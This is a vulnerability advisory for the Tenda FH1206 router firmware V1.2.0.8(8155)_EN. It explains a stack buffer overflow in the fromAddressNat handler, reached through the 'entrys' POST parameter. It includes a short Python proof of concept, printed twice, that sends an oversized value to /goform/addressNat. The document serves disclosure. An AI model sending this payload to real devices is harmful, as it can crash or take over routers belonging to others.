Overview

Tenda FH1206 V1.2.0.8(8155)_EN

• Firmware download website:
  • https://www.tendacn.com/hk/download/detail-2344.html
  • https://www.tendacn.com/us/download/detail-2344.html

Affected version

V1.2.0.8(8155)_EN

Vulnerability details

The Tenda FH1206 V1.2.0.8(8155)_EN has a stack overflow vulnerability located in the fromAddressNat function.The Var variable receives the entrys parameter from a POST request and is later assigned to the v6 variable. However, since the user has control over the input of entrys, the statement sprintf(v6, "%s;%s", Var, v2); leads to a buffer overflow. There is no size check, so the user-provided entrys can exceed the allocated size of the v6 array (516 bytes), thus triggering this security vulnerability. The attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.

PoC

# fromAddressNat_entrys

import requests

IP = '192.168.0.100:80'

url = f"http://{IP}/goform/addressNat"

data = {"entrys":"a"*999}

ret = requests.post(url,data=data)

Additional Information

###Product_version
Tenda FH1206 
V1.2.0.8(8155)_EN

###Affected_component
the "fromAddressNat" function of /bin/httpd; /bin/httpd

###Attack_vector
use a simple exp to attack, like this:
#python3
import requests
IP = '192.168.0.100:80'
url = f"http://{IP}/goform/addressNat"
data = {"entrys":"a"*999}
ret = requests.post(url,data=data)

###Discription
Tenda FH1206 V1.2.0.8(8155)_EN was discovered to contain a stack-based buffer overflow vulnerability via the entrys parameter at ip/goform/addressNat.

###Refernce
<https://palm-vertebra-fe9.notion.site/fromAddressNat_entrys-b04d5356e5f04e30b37cb9037b94e1b2>
<https://www.tendacn.com/hk/download/detail-2344.html>